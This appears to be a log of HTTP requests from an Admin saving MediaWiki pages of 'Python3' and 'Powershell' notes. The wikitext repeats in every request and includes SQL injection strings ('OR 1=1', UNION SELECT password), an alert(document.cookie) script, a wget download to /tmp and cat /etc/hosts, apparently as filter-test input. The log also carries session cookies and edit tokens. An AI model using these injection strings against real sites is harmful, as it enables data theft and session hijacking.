name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on python3, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n52f141f04963c493bdb6c4af9cc78baa6af22676+\\\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1722", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=&sectiontitle=&summary=Notes+on+python3%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=3d2253a69b15a92037b2054ed89260316af22677%2B%5C"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3326", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNQNQnbmS4ZVnKScr", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on python3, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n52f141f04963c493bdb6c4af9cc78baa6af22676+\\\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr--\r\n"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3320", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykls0Dipt2ipQMyNX", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on python3, python3, ls -la and .htaccess\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n3d2253a69b15a92037b2054ed89260316af22677+\\\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX--\r\n"}
{"method": "GET", "target": "/wiki/Python3_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision6=created; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
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{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1674", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
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{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3221", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarym3pr54KEguOYT8hc", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on powershell, python3, ls -la and .htaccess\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarym3pr54KEguOYT8hc--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1728", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=&sectiontitle=&summary=Notes+on+powershell%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7